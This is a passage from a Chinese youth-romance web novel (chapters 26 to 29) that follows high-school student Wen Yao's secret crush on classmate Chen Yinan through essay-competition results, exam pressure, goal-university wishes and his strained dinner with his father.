接着,一股子好闻的薄荷柑橘气息便将她结结实实地包裹住了。她怔愣着被陈翊南拉起身,来人自然地接过她手中雨伞。
“走吧,请你吃饭,聊表歉意。”
唔,看来这是听到自己嘟囔的话了。
温窈不好意思地低下头。
两人于雨中缓缓踱步向前走去,行至暮色深处。
“你不奇怪我怎么知道你妈妈的事情吗?”温窈突然意识到,陈翊南自始至终就没问她。
“关于我妈妈的事情,并没有瞒过什么人。你从旁人那听说的,我也不觉奇怪。”
温窈讶然,“我以为你会猜,是江枫告诉我的。”
“是你和我说,你先问的江枫在哪个墓地。”
意思是,她最先出了漏洞。
温窈夸赞道:“理科生的思维果然缜密。”
“你能找到这里,我也挺惊讶的。”
“温窈。”
陈翊南忽地驻足叫了她一声。
温窈身上还披着他的衣服,此时抬眸疑惑望来。
她问:“怎么了?”
陈翊南弯唇一笑,“温窈,谢谢你。”
绵绵细雨不知何时停了,天空的帷幕逐渐揭开,露出的琥珀色黄昏,像糖一样在很美的远方。
温窈突然就想起了陈奕迅歌词中的那句话:这一秒坐拥晚霞。
这一秒,她坐拥晚霞。
26. chapter26
“那晚,我们一起等到了最后和最初的一天。烟花漫天,施然绽放,我听到了自己心跳的声音,咚、咚、咚。”
——《我与y》
各科竞赛的成绩是在周一出来的。
语文课上,方媛拿着单子走进教室时,温窈还不知情。她只是见到方媛脸色不同于以往,看起来心情还不错的样子。
“同学们,竞赛成绩已经出来了。”方媛双手撑在讲台上,望向台下众人。
“让我们恭喜虞眠同学获得了二等奖!”
台下响起热烈掌声,虞眠迎着大家目光起身。面上波澜不惊,实则心里已翻起惊涛骇浪。她没有想到自己能取得这样的好成绩,在她的预期计划里能取得三等奖就很不错了。
温窈浅笑着回头,朝她竖起一个大拇指。
一旁,就江枫鼓掌鼓的最为热烈,他露着个大白牙笑着,朝四周都说了个遍,“欸?对对,是我同桌,就是我同桌!”
林见月见状颇为无语,“大哥,又不是你得奖?”
江枫嘚瑟笑道:“你懂什么,这叫与有荣焉。”
林见月:……
林见月带着控诉的目光望向虞眠,虞眠趁方媛没注意到这边,忙给了江枫后脑勺一个脑瓜崩。
江枫立时回头,委屈地看过来。
虞眠幽幽说道:“你话太多,该崩。”
“……”
掌声过后,有人问道:“方姐,这次竞赛没人能得到一等奖吗?”
这个作文竞赛也不是第一次举办了,北淮一中的理科实力要偏强一些,往年这种文学类竞赛的一等奖,都被京师一中包揽了,这一憋屈就是好几年。
方媛笑了下,“谁说没有,我这不是还没念完?”
众人目光齐齐望向方媛手中的那张白纸,似乎要将它看出一个洞。
教室内陷入寂静,只剩下墙上钟表的走针声。
滴答……滴答……
很快,温窈便听到方媛的声音由远及近传至耳边。
“恭喜温窈同学,获得了本次作文竞赛一等奖!”
“我天……那可是一等奖!”
“国一等奖?牛逼!”
“太厉害了!”
教室里的惊叹声不绝于耳,方媛笑着挥挥手示意大家安静。
“本次作文竞赛决赛题目是《换来一个春天》,学校打印室已经在打印温窈同学的范文了,一会儿发到大家手里,你们也学习一下。”
“温窈,下课后和我去办公室拿一下范文啊。”方媛看向温窈,见她没抬头,不由得又叫了声。
林见月偏头戳了戳温窈胳膊,“窈儿,方姐在叫你。”
“啊……”温窈先是愣了会,随即反应过来,立刻回道:“好的老师!”
方媛讲完事情后,便开始正式上课。
温窈叹了口气,她的范文在被批量打印,那岂不是也会发到陈翊南手里?
有些事情,往往不想发生,往往却最可能发生。
她抱着打印好的作文小心翼翼地走到理科一班门口,正扒着门框悄悄望去,刚一探头,就撞上了一个人。
温窈半眯着眼看到了来人的胸牌:
【2010级理科一班陈翊南】
“……”
几分钟前,方媛吩咐她将要发到理科一班的作文也顺便拿走交给他们班的语文课代表。
温窈乖乖应下。此刻,将自己的作文抱在怀里的感觉就像烫手山芋一般。
“温窈?”
“……正好,你帮我把这些作文交给你们语文课代表发下去吧,谢了。”温窈头都没抬地迅速说完,不等陈翊南反应,就将作文一股脑的塞到了他怀里。
接着,转身跑回了教室。一整套动作下来,都不超过一分钟。
陈翊南站在原地怔愣了两秒,随即勾了下唇,轻笑出声。他伸手翻起倒扣着的作文纸,熟悉的字迹映入眼帘,侧面姓名栏里清楚地写着两个字:温窈。
刚才身前人奇怪的举动,不自在的神色,突然就有了合理的解释。
陈翊南望着文科一班的方向,喉间再次溢出一声低笑,声音闷而含蓄。
_
过了一段时间,各科竞赛成绩已经陆陆续续的全部公布。
理科一班包揽了不少省奖和国奖,更为出色的是,这次物理竞赛的三个特等奖名额被北淮拿到了两个。
其中一个在北淮附中,另一个就是北淮一中理科一班的陈翊南。
这是时隔三年来,一中再次取得了好成绩。老罗在得知消息后,乐得合不拢嘴,连走路都像是在云上飘。
后几天里,即使班级里有人上课迟到,他都笑眯眯地让人进去了,连追责都没有。
距离晚饭时间,还有一节自习课。趁着休息时间还没结束,几人有一搭没一搭地在聊天。
江枫翘着二郎腿,用笔轻轻敲了敲桌面,总结出一个结论:“实践果是检验真理的唯一标准。初步检验,能让中年男教师快乐的方法就是多拿几个奖杯奖状给他玩。”
虞眠淡淡瞥了眼江枫,“你不如直接报老罗的名号?”
“罗老师为人师表这么多年,什么大风大浪没见过。虞眠,你怎么能这么说罗老师?”
虞眠:“江枫,你……”
江枫目光从虞眠桌下正慢慢收紧的拳头上收回,话音一转,笑嘻嘻道:“但这次不一样,陈翊南得的可是特等奖,几年出不了一个,罗老师高兴到合不拢嘴也是正常的。”
一旁,林见月说道:“南哥这奖项,明年是不是都可以直接保送了?”
“这估计要看看有没有他想去的专业。”
温窈状似无意地问了句:“医学专业?”
“对。”江枫点点头。
“欸,你们这竞赛一结束,时间就像长了腿一样,过的飞快。再过不了多久,是不是就要放寒假了?”
一提到这个,林见月就双目放光。
虞眠:“对,不超半个月。不过,在放寒假之前,我们应该还会放一次元旦假期。”
“我有个建议。”
“什么啊?”温窈三人同时望向江枫。
“以往我们都是在家跨年,今年不如咱们一起跨年。听说,市区大广场那里还会有烟花秀!”<
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p>“真的假的?”
“哥的小道消息,有出错过吗?”
林见月眼睛一转,“……也不是不能考虑。”
“就算咱们能去,陈翊南也不一定去吧?”虞眠问。
江枫道:“这还不好说,让温窈把他骗出来就是了。”
“???”
“不行!”温窈严词拒绝。
这事她都干过一次了,往事不堪回首,再一不再二。
江枫打趣道:“逗你的窈妹妹,你那演技可是经陈翊南认证过的。我怕他一个眼神扫过来,你就露馅了。”
有前车之鉴在那摆着,温窈觉得江枫这次形容的竟莫名贴切。陈翊南如果看她,她是真的会心虚得很。
于是关于元旦跨年的活动,江枫说等他这几天抽空问一下陈翊南有没有空,几人再做决定。
在一中,每每接近的吃饭时间时,都会有不少人开始掐表。只待铃响的那一刻,他们就如离弦的箭一样窜出教室门。
随着天气变冷,跑来跑去吃饭总归对胃不好,这样的现象少见了些。但仍旧还是有不人踩着铃响冲去餐厅,先到先得,想抢一些肉吃。
毕竟,一中伙食的味道还是不错的。
温窈教室在一楼,她索性也不急,又学了一会儿才去吃的饭。
去餐厅的路上会经过各个年级的公示栏,高二年级的公示栏前正有两个人在忙活些什么。
这个点,大家都还在吃饭,路上只有稀稀拉拉的几个人时不时会经过。
温窈在公示栏前驻足,刚才离得远,现下离得近了,她这才看清楚了两个师傅在忙活什么。
她倒是忘了,往年竞赛得奖者都会在光荣榜上张贴照片,是表扬,也是用来激励其同学努力奋斗。
公示栏前的两个人正在将连在一起的照片撕开。温窈还没离开,便听见其中一个人突然“哎呦”了一声。
他问道:“这撕坏了怎么办?”
另一个人接过来看了眼,“扔了吧,我看着也没法用了。旁边包的隔袋里还有,你再拿张新的贴。”
撕坏的彩印纸照片被人团成了一个球随手扔到了草丛附近,温窈趁两人不注意悄悄捡了起来,匆忙塞进了校服裤口袋。
傍晚,月明星稀。
二楼的一间卧室内,一如既往地亮着暖洋洋的灯光。
坐在桌前的人从搭在椅子背上的校服裤口袋里拿出一个纸团,小心翼翼地展开。
纸团褶皱的厉害,温窈展平后又用直尺在它面上划了两三下,照片上男生的面容这才清晰了些。
黄澄澄的灯光下,陈翊南的唇角挂着清浅笑意,一双漆黑眼眸里却没有什么温度。
当时,她戴着眼镜看的清楚,那两个师傅撕坏的照片上面是陈翊南,自己这才停住了正准备离开的步伐,心下也想看看师傅们会不会丢掉。
丢掉是被丢掉了,可惜是团成了一个纸团,上面的这些褶皱估计也没办法消下去了。
温窈叹了口气,将陈翊南的彩印照片用纸胶带细心地粘在了日记本背面。
不过好在,她也算是拥有了第一张陈翊南的照片。
27. chapter27
“人潮汹涌,感谢相遇。尽管是这样的结局,若是可以重来,我坚信,我依旧不会后悔与你相遇。”
——《我与y》
北淮春节过后下了一场大雪,冬寒卷过长街,又匆匆而过。年轮轻轻转动,冬逝春来,天气逐渐回暖。
温窈看着镜子里的自己,好像又长高了几分。原来长度正好的裤子,现下穿来都有些露脚踝,她估摸着自己可能已经到达了陈翊南的肩膀高度。
早在开学前,陈翊南就收到了自己的雅思成绩。考的很好,拿到了8分的高分。他在学医这条路上,走得一直很坚定。
她都看在眼里。
而对于陈翊南是不是会出国留学这个问题,她总是下意识逃避,仿佛只要她不在意,时间就能被按下暂停键一般,哪怕是走的慢一些呢。
她并非想要困住他。有些鸟儿注定是关不住的,他们的羽翼闪烁着自由的光辉,陈翊南本就应该去往更广袤的世界。
她只是有些不舍。
“阿窈?”林见月拍了拍身旁人的肩膀。
“啊、怎么了?”温窈骤然回神。
“你这几天怎么了,怎么感觉你总是走神?”
温窈淡笑了下,“可能是最近休息的不太好。”
“的确,”林见月赞同地点点头,“这一临近期中又开始上压力了,我这几天都睡得不算舒坦。”
“没事,考完就可以稍微放松一下了。”
温窈低低应了声。
“嗯。”
她最近能感觉到,自己处在一个瓶颈期。考第一的压力很大,下一次考试,下下次考试,她都不敢把握自己还能拿到第一。一边是老师的期待,一边是自己对自己的不服输。
她并不是天赋型选手,可自己面对的很多对手却天赋甚佳,以至于她只能靠努力来弥补自己的不足,只怕一个稍不注意,便被超越了去。
为期两天的期中考试落幕,温窈正趴在桌子上对答案。
“窈儿,你喝饮料吗?我一会儿去超市,可以给你带。”
不等温窈回答,隔壁过道里便传来一声惊呼。
“天啊一桐,数学最后一道大题你竟然全答对了!”
温窈心下咯噔一声,她垂目看向桌子上的试卷。自己的数学试卷正好判到了最后一道大题,由于自己的计算失误,后两问接连出错。名次越靠前,越是要分分必争,但她这一丢就是十分。
醒目的红刺痛着她的眼。
没等多久,期中成绩就出来了。
她退步了,以往自己能保持在第一名,这次直接退到了第七名,年级排名也掉出了前五十。方媛当天就找了自己谈话,并没说什么重话,只是问了下是不是最近压力太大了。
当温窈坐回位置时,脑袋还有些晕乎。下节是自习课,她静静看着窗外愣神,桌洞里的手机突然疯狂震动起来。
来电显示是陆文慧,她走到走廊里寻了个安静处,才点了接通。
“喂?妈妈。”
对面似乎刚到家,她听到了陆文慧锁车的声音。
“我看了你老师发在家长群里的成绩,这次怎么退步这么多,直接从第一名掉到第七名?”
“这次数学的最后一道大题,我出现了计算失误……”
不等她说完,后半段话就被对面直接打断了,“我不是要听你出现了什么什么失误,那人家怎么能做到不失误呢?我看那个郑一桐,我记得人家一直在你后面,瞧瞧人家这次直接把你的第一抢了。你赵叔叔给你出钱让你上辅导班,可不是让你撒钱玩的……”
温窈鼻腔发酸,再抬头时,眼眶已然泛红,她强忍着喉头的酸涩咽下去,暗哑着嗓音说道:“知道了妈妈,我会努力的。”
听筒那边还没说完,她便直接挂断了电话。
长久的沉默过后,她突然笑出了声。
多么可笑,她考了那么多次第一,她不闻不问。这次掉到了第七名,她却急急忙忙打来了电话。
是她让他们丢脸了吗?
走廊的灯光一帧帧灭掉,教室里隐隐传来翻书声,晚自习开始了。但她不想回去,教室像一个密不透风的蒸笼,压得她喘不过气。
就这样不知不觉的,温窈走到了顶楼。年数一久,顶楼的声控灯也不好使了,她走上来都没亮一下。
她知道顶楼有间废弃教室,里面堆着各种杂物,平时是锁着的,也没什么人来。
但今天,这锁竟然开着虚虚挂在门把手上。
温窈推门而入,铺面而来的灰尘令她不受控制的咳嗽了两声。借着月光,她也看清了室内全貌。
和楼下教室一样的布局,屋内后面堆着许多箱子,靠近窗户的地方横七竖八摆放着不少旧桌椅。她在窗户边上找了个好一点的椅子,用纸擦了擦灰尘坐下了。
被拉动的窗户发出“吱啦——”一声,上面的五金有些生锈,不太好拉动。温窈只拉开了一半,她侧着身,胳膊撑在桌面,用右手撑住了头,斜斜望向窗外。
将圆未圆的明月升到高空,淡淡的灰云遮住了一半的月光,星光稀疏,夜凉如水。望着一直绵延至暮色中的四方灯火,她心中慢慢升腾起一种念头。
她想离开这里,她想走出去。
家人闲坐,灯火可亲,从来与她无关。她对这个城市的唯一一丝牵挂,不过是陈翊南罢了。
因为他,她才喜欢上了这座城市;因为他,她才觉得生活也没有想象的那么糟糕。
忘记了是哪晚,饭桌之上,家里突然讨论起了自己的未来。陆文慧觉得以后在当地考一个公务员就行,工作稳定。赵思诚觉得教师也可以,有长假期。
从始至终,一直到晚饭结束,都无一人问过她喜欢什么,她想成为什么。
那时她就知道,在这个家里自己从来都是一个陌生的看客,自己的未来还是要把握在自己手里。
她想成为什么样的人,她想担当什么职业,这一切的一切,她都会自己做决定。
陈翊南来到这一层时,一眼就注意到了被打开的杂物教室门。他轻轻走到教室门口,坐在窗边的一抹身影映入眼帘。
熟悉的头发与背影。
是温窈。
他未曾怀疑自己的笃信不疑,只是稍加思索了下,从口袋里拿出手机,修长的手指在屏幕上轻点几下,编辑好一条信息发了出去。
陈翊南走进教室,怕吓到她,还特意敲了敲门。
温窈正看着夜空出神,背后就响起了敲门声。她下意识回头,同对方目光对视上的瞬间,怔愣在了座位上。
“还
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以为你在哭鼻子。”来人轻声说道。
温窈垂眸,小声问了句。
“你……怎么来了?”
陈翊南晃了晃手中的钥匙,“刚才江枫来这里替老师搬东西,忘记锁门了。他现在没空上来,就拜托我帮他锁一下。”
温窈这才意识到时间不早了。她抬腕看了眼,晚自习已经上课15分钟了。
“不行,今天老班会去班级转悠,我得……”
她急忙起身朝门口走去,胳膊却忽地被身后人握住了。
“别急,”陈翊南眼底带着清浅笑意,“已经帮你请过假了。”
温窈眸中闪过一丝疑惑。
“刚才看到你在这,我已经让江枫帮你找了个借口请好假了。”
“什么借口?”
“肚子不舒服。”
温窈重新回到了座位上坐下,“谢谢啊。”
说完,自己又忽然轻笑出声。
陈翊南眉头一挑。
“我只是没想到,你也会撒谎。原来,你这样的好学生也会撒谎啊。”
陈翊南擦了擦桌前椅子上的灰尘,懒洋洋说道:“是啊,理论与实践结合,多亏了温老师教学得好,我融会贯通了下。”
温窈耳根蓦地一红。
她听出来了,陈翊南是在拿上次她骗他的事情打趣。不过,她的心情的确因为他变好了许多。
“陪我在这坐着,不会影响你学习吗?”
“适当的休息放松,会让自己的学习效率提高。”陈翊南望向温窈,“这句话于你也适用。”
温窈身体明显一怔。
“别把自己压得太紧,会很累,适当的慢下来也没关系。每个人本来就有自己的发展时区,有些人看似走在你前面,有些人看似走在你后面,但其实每个人在自己的时区有着自己的路程,你也是。”
“所以,放轻松。在命运为你安排的时区里,一切都准时。”
温窈眸中隐有泪花闪动。
“一次考试失意没有什么大不了。厚积而薄发,我认识的温窈,不是温室春草,又怎会被一次挫折打倒?”
陈翊南的胳膊朝前一撑,温和笑道:“你说,对不对?”
两人隔着一张书桌的距离,不远不近。月光缓缓洒在两人之间的桌子上,月华流转,如纱似雾。
温窈含着泪笑了。
“对。”
她想——如果时间能停留在这一刻就好了,那他的目光将永远为自己停留。
寂静从四面八方将两人包围,身旁人轻浅的呼吸声,她能听得一清二楚。
“陈翊南。”
“嗯?”
温窈轻轻开口:“你有没有听过飞鸟与鱼的故事?”
陈翊南摇了下头。
她接着说:“飞鸟与鱼,一个在空中,一个在水里。是不是怎么看结局都是背道而驰?”
身旁安静一瞬,很快,低沉的声音就在她耳边响起。
“我倒是不这么认为,鸿翔鸾起,鱼翔浅底,又怎知某时某刻不会在同一片地域相逢?”
温窈的唇角上扬,这个说法她喜欢。
“你说得对。”
某个困惑了她很久的问题,突然就释怀了。
那我们就,最高处见。
28. chapter28
“所谓暗恋,不过是想他的念头消失,又不断冒出。”
——《我与y》
自那次谈话一别,温窈在学习方式上便发生了一些转变,她不再是埋头苦学。对于目前而言,一次成绩如何并不重要,重要的是自己要查漏补缺,一次次超越原来的自己。
要继续努力,但也要以正确的方式努力。
转眼又是炙热六月,高三年级迎来人生中的重要转折点——高考。
这也标志着高中三年已然过半,作为准高三生的高二年级,大家虽未明言,心底也都意识到了肩上担的责任之重,意识到自己的前途就在脚下,咫尺之遥。
伴随着高三生离校,班级里、走廊里、交谈的话语中,大家不约而同的畅谈起了同一个话题。
关于前途梦想,大家总是侃侃而谈。青春时的我们对未来似乎总是满怀希翼,永远一往直前,永远不畏艰险。
声声交谈中,大家畅谈着自己的整个人生规划,将各个年龄段划分得无比清晰。
仿佛是为了应和大家此刻的心情,大课间的时候,方媛带着一沓纸走进教室,“来,班长把这个发下去,一人一张。”
她伸手递了出去,接着说:“大家也知道,咱们马上就要高三了。我的计划呢,是在后墙上创建一个心愿板,来激励大家为各自的梦想奋斗。发下去的这张纸上,你们写好目标大学以及自己最喜欢的一句话,我到时候会将这块板挂到后墙。”
临走前,她又叮嘱了句:“就这一两天的时间抽空写好,班长到时候负责收齐拿给我。”
方媛拿来的纸片有很多颜色,发到温窈手里的这张是一张蓝色小纸片,颜色淡淡的,像被窗外的蓝色天幕染了颜色。
她看着纸片愣神片刻,自己的目标大学?
她还真没考虑过。
“方姐和老罗两人是商量好了吧?”身后忽地传来江枫的声音。
林见月疑惑地“啊”了一声。
“这纸片,前一两天隔壁理科一班刚整完,和咱们一模一样。”
林见月噗嗤一笑,“那估计是两人一起计划的这个。”
温窈思绪纷飞,不可避免地想到了陈翊南。
他会填哪里?填哪所大学?
如果学医的话,京大的医学院是不错。作为全国最高学府,它每年的分数线自然也很高。不过优秀如他,对他来讲,这应该不算难考。
可惜,她还不行。
她不是没有了解过京大的分数线,对于目前自己的成绩来说还是有一定差距,要考全国最高学府,她都觉得自己在痴人说梦。
温窈心中叹气,止不住地想知道陈翊南会选择哪所院校。
或许是老天听到了她心中所想,当天下午,她就看到了陈翊南的心愿纸。
方媛的办公位置和老罗的办公位置头对头,下午她去办公室拿语文学案,一眼就注意到了老罗办公桌上放的东西。
一块白板上贴了许多彩色纸片,还没有完全贴完,桌上还散落着不少彩纸。不论桌上还是白板上,每张彩纸都被人写了目标。
板子上,入眼第一张就是陈翊南写下的目标。他的一手行楷写的很好看,字体大气潇洒,其间自带锋芒,温窈仅一眼便能分辨出来。
此刻的纸上写的一清二楚,与她猜测的别无二致。
陈翊南果真要考京大。
温窈怀着一种既忐忑又欣喜的心情回到教室,蓝色纸片静静躺在她的书桌上,上面还没有写东西。
她斟酌片刻,终于落笔,心愿纸上的空白被两行字弥补。
目标大学:京北大学
寄语:道阻且长,行则将至。
林见月凑过头来,惊叹道:“哇塞窈儿,你要考京北大学吗?”
温窈轻轻点了下头。
尽管与目标还有一截差距,但她仍想拼尽全力试一试。哪怕不是因为陈翊南,这所院校也会出现在她的志愿名单上。
她在心里说过的,要同他顶峰相见。
林见月笑笑接着说:“这不就巧了,我想要去的也在京北。”
“嗯?哪里?”
“京北传媒大学的新媒体专业。我这成绩是与京大遥遥无期了,不过嘛,京北的其他学校我还是可以试试的。”
林见月说完回头,顺便打听了下虞眠江枫两人的目标院校。
“我呢,想考南阳大学。”
江枫与林见月异口同声道:“南阳大学?”
“啊?”虞眠一脸疑惑,“怎么了?”
“南阳好哇,和京北正靠着呢!”林见月兴奋地一把握住虞眠的手,“这样咱们离得也不算远。”
温窈笑了下,说:“我记得南阳大学的汉语言文学专业还不错。”
“对,我就是看中了它的这个专业。”
江枫一向喜欢说话,现在倒是出奇的安静。林见月戳了戳他胳膊,问了句:“你呢,你还没说呢?”
“啊、我还没想好。”江枫挠头笑了下。
虞眠正望着江枫,自然也捕捉到了他嘴边笑容里的苦意。她的眉头轻轻蹙起,不懂得他这情绪转变是为何。
江枫注意到了虞眠的目光,掩饰般地冲她笑了笑。
没过两天,方媛就将贴满了彩色纸片的许愿板挂到了教室后面的墙上,和理科一班在同样的位置。窗外吹来闷热的夏风,游走在各张纸片间,风一吹,带起一阵哗啦啦声响。
炙热的梦想在心弦跳动,阳光正好,风华正茂,教学楼外的梧桐依旧枝繁叶茂。
_
期末结束,八月份来临。
高三生的假期时间不再和往年一样漫长,八月刚刚过半,一中的高三学子就要开学了。
开学前两天的晚上,景怡园的一栋别墅内。
“南南,下来吃饭啦!”张妈朝楼上喊道。
张妈是陈家的保姆,来陈家工作有六七年的时间了,也算是看着陈翊南长大的。
陈翊南正在卧室写卷子,此时停下手中的笔,起身下楼。他下到楼梯的最后一个弯,一抬眼就看到了坐在餐桌正前方的男人。
平时常穿的一身西装已经被男人脱下,纵是换上居家衣服,眉眼间的锐气仍不减半分,许是常年浸染在生意场的缘故。
陈翊南走到餐桌旁坐下,没有靠着男人坐下,而是正好与他隔了一个位置。空下的位置也如两
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人的关系一般,疏远着些距离。
张妈将桌子上饭菜的位置稍挪了挪,让两个人都可以夹到菜。两个人谁都不说话,餐厅中的氛围凝滞。张妈脸上却没有什么疑惑的神色,仿佛已经习以为常了一般,但她仍旧没忍住说了句:“南南,你要不坐到这里来?这边的菜也能夹到了。”
“没事张妈,我坐这里就可以。”陈翊南笑了下,“您也去吃饭吧。”
旁边传来一声冷哼,“连句爸都不知道叫了?”
陈翊南慢条斯理地搅拌着粥,淡淡开口:“食不言,寝不语。这还是你说的。”
张妈看着这两人,心中无奈地直叹气。但这两人的矛盾也不是一时的,年数已久,想化解开也不容易。
陈绍挥了挥手,张妈就离开了餐厅。他端起碗吃了口米饭,又说起了容易激起矛盾的话题:“南南,你妈妈去世的早,爸爸不让你学医的一部分原因……”
“您不用说了,我想好好吃顿饭。”
语气冷淡地不像是父子交谈,倒像是同不认识的陌生人交谈一样。
陈绍想了想,于是换了个话题,“有件事我还没有和你说,你还记不记得小时候和你一起玩过的那个文婷妹妹?”
陈翊南夹菜的筷子没停,“不认识。”
“苏文婷,爸爸的好朋友,也就是你苏叔叔,他小时候还抱过你。”陈绍又仔细解释了下。
“…………”
陈翊南的指尖有以下没一下地点着筷子,陈绍的话说到这个份上,他也不可能单纯地认为他在同自己聊家常。
这个苏文婷他倒不是真的一点印象没有,这么多年没见了,他印象的确不深,甚至都不记得她的模样,这和不认识也没什么区别。
“所以呢?”他直接问道。
“你苏叔叔的女儿高三会来北淮上学,学校就在你们一中旁边的那个艺校。我听说艺校附近的巷子不太安全,反正你文婷妹妹暂住在这个小区,到时候你俩正好一起回家。”
“您的意思是让我送她一起回家?”
陈绍点了下头。
陈翊南轻笑出声,“我要是不呢。”
没有问过他的意见便自作主张替他下了决定,好一个理所当然的语气。
不远处的男人将筷子往桌子上一拍,怒道:“你跑去英国考雅思的事情我还没有和你追究,如今倒是会处处反驳我了。”
听到陈绍骤然放大的音量,张妈急急忙忙地跑过来,“好好说,都好好说。先生您别动怒,南南是个听话的孩子。”
陈绍捞起左手边的水杯喝了口水,冷着一张脸坐在桌前。
餐厅的氛围又凝滞在了一起,张妈在一旁劝着,半刻后,陈翊南打破氛围。
“也不是不可以,ZEROBattleVer.这款最新手办,明天放我桌子上吧。”
陈翊南说完便上了楼,也不管后面陈绍是何表情。
他能同意的真正原因不是因为想要手办,手办只是想让陈绍出出血。他记得苏文婷的母亲,同自己的母亲曾经是好友,不过母亲工作忙,两人也不常见面。
正是因为母亲好友这层身份,那他,不介意做出妥协。
29. chapter29
北淮一中与北美附中在一条路上,两个学校在路两边相隔不远,从高三教学楼的高层往东望去,就能看到北美附中院内的音乐喷泉。
每逢下午一中大课间时分,路对面的北美附中院内的音乐喷泉就会随着广播上的音乐节奏涌动,再配合上周围的灯光,没少让一中的学子羡慕。
一中开学一周后,苏文婷转到了北美附中。今晚的饭局是苏文婷的父亲设下的,为此陈绍特意发信息叮嘱了让陈翊南放学就去餐厅。
周五下午,下了第三节课后,林见月带头问起放学要不要一起去吃米线,问了一圈后就差陈翊南这边不知道情况,她委托江枫去问问。
江枫应下了,此刻刚溜进理科一班。
“那家袁记米线是新开的,我路过时看着里面装潢不错,感觉很好吃的样子。正好今天咱们五个有空,一会儿一起去尝尝。”林见月已经在美滋滋的幻想了,仿佛下一刻自己就已经坐在店内吃着米线了。
虞眠问了句:“你南哥那边还不知道什么情况呢?”
“肯定有空的,哪次饭局南哥不陪咱们去嘛。”林见月没带犹豫。
没多久,江枫就从后门进来了。
没等他坐回椅子上,林见月便问道:“怎么样?是不是可……”
“今晚他不行。”
“啊?”林见月的话转了个大急弯,“什么意思?!”
江枫解释道:“听他说,今晚他爸那边有个饭局他需要去,推辞不掉。”
“好吧,”林见月遗憾地叹了口气,“那就只好下次了。”
温窈犹豫开口:“所以……咱们是不是不去了?”
“去啊,当然去!咱们可以先替南哥去试试水嘛!”
下午放学后,温窈先行一步去车棚推了车子,她站在校门口树荫下等着林见月几人出来。
路对面停着辆黑色轿车,车型流畅大气,车头标志是一个风车形状。
温窈认得的车不多,她记得这辆车好像不便宜,于是便多看了几眼,其间正好瞅到一个女生上了车。
看她身上穿的校服,应该是北美附中的学生。只有那里的学生校服更偏学院风,女生的白色衬衫上衣还搭配着领带,下面是个藏青色百褶短裙。
温窈没多在意,继续望向大门口,半刻后终于看见了林见月几人推着车子出来的身影。她朝那边扬了扬手,三人走了过来。
林见月笑道:“走吧,我在前面领路。”
四人都上了车,温窈右脚踩在踏板上,正整理衣服,目光不经意朝旁边一瞥,怔愣了下。
没看错的话,她刚才好像看见了陈翊南也进了那辆车?
路边的黑色轿车在她眼前疾驰离去,林见月在前面催促,温窈忙应了声,骑车追上前。
车上。
苏文婷坐在后座,陈翊南就坐在她斜对面副驾驶的位置。车内静悄悄的,两人自上车后打了声招呼,便再无言。
陈翊南环抱胳膊假寐休息,自然也没注意到坐在后座上人的打量目光。
这么多年没见了,他比她想象的,成长的更为出色。
若说小时候隐约可见三分不凡气质,那如今男生身姿挺拔,长身玉立,单单只看侧颜就已经很出类拔萃了,可胜九分。
苏文婷愣愣地盯着陈翊南看,直到车停在餐厅门口才收回了目光。
陈翊南迈的步伐大,走的要比苏文婷快上两步。门一打开,他就看清了屋内场景。
陈绍和苏文婷父亲已经到了,两人正坐在沙发上喝茶交谈。此时听到门开,一同望了过来。
“来啦,”陈绍起身笑道:“这个是你苏叔叔。”
“苏叔叔。”陈翊南语气淡淡地叫了声。
男人笑着点点头,随即朝他身后招手,“小婷啊,叫陈叔叔。”
苏文婷礼貌开口:“陈叔叔。”
双方都打过招呼后,便围着圆桌坐下了。男人和服务员知会了一声,让他们可以上菜了。
陈翊南百无聊赖地坐着,手里转着手机玩,他听着几人聊天,从小时候聊到现在。
“我记得小时候南南的个子就高,现在这都有一米八了吧。”男人说着看了眼苏文婷,感慨道:“都是大孩子了啊!”
“是啊,时间过得真快。小婷那时候还扎着双马尾,现在已经出落成一个亭亭玉立的大姑娘啦。”
陈翊南嘴角轻扯了扯。
“欸,就是她那文化课没少令我头疼。”
“爸!”
苏文婷忙叫了声,说完分神看了眼陈翊南,看到他似乎没注意到这边动静后,才松了一口气。
陈绍接过话头:“小婷文化课不好?”
“是啊,她偏科,就属数学最不行。”
“那正好啊,南南学习成绩很好,可以让南南给小婷补课啊。是不是啊,南南?”
苏文婷眼神一亮,悄悄看了眼陈翊南。
陈翊南在玩俄罗斯方块,听见这话直接关了手机屏幕。屏幕一黑,他便抬头笑道:“这恐怕不行。现在高三了,一中学习压力不小。每天有晚自习不说,还会有一周一次的考试,我实在是有些分身乏术。”
此话一出,屋内静默了好一会儿。
苏文婷在桌下抠着衣角,她笑道:“没事的,陈叔叔。”
陈绍冷着脸色开口:“你们学校一周一放假,抽出周六两个小时的时间总有吧。到时候,让南南给你补补数学。”
不等陈翊南拒绝,他接着说道:“就这么定了。”
陈翊南手指一下下轻点着手机,脸上没什么表情,陈绍一贯喜欢插手自己的事情,意料之内罢了。
另一边,米线店内正吃得热火朝天。
温窈不算饿,就要了一个加了青菜的小份米线。她吃完最后一口,用纸巾擦了擦嘴角。
室内热气氤氲,她偏头状似无意地问江枫:“陈翊南家,开的什么类型的车啊?”
江枫嘴里还叼着三根米线,口齿不清晰地说了几个字:“应该是……奔驰吧。”
奔驰?她一下子想了起来,那个风车形状的标志好像就是奔驰车标。
所以……那是陈翊南家的车。
“怎么了,温窈?”江枫此时咽下米线问道。
“没事,”温窈顿了顿,说:“我就是突然想起来,下午放学时我好像在路边看到了陈翊南家的车。”
“啊、那应该是他家司机来接他去餐厅。”
“那……他是有个妹妹?”
江枫眼神疑惑:“妹妹?没有吧,他是独生子啊。”
温窈还想再问,林见月已经探过头来了。
“你们在聊什么好玩的?”
温窈摆摆手,岔开话题:“就……瞎聊。你吃完了吗,咱们走?”
“行。”林见月未曾起疑。
四人刚拿好书包走出门,林见月就看到了她妈妈发来的消息。
“那个虞眠,咱俩可能没法一道回家了,我妈让我去帮她买点东西。”
“没事,你去吧。
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”
林见月骑车离去,留下三人在原地。
温窈开口:“那我也走了。”
“行,窈儿,到家记得发消息啊。”
温窈的手扶上车把,她点头应了下,不一会儿,身影就消失在了路的尽头。
江枫伸手接过虞眠手里的书包,放进了自己的车篮里,说道:“走吧,送你回家。”
树木静悄,行人三两。两人谁都没骑车,而是推着自行车沿着路慢慢走。
虞眠轻声开口:“说吧,这段时间你怎么了?”
旁人可能没注意到两人之间气氛的不对,但她能感受得到。
身旁静默一瞬,两人同时停下了脚步。
虞眠回头看去,江枫静静站着,接着像是下定了某种决心般向她走来。
他说:“虞眠,我们考一个学校吧,我们一起考南大。”
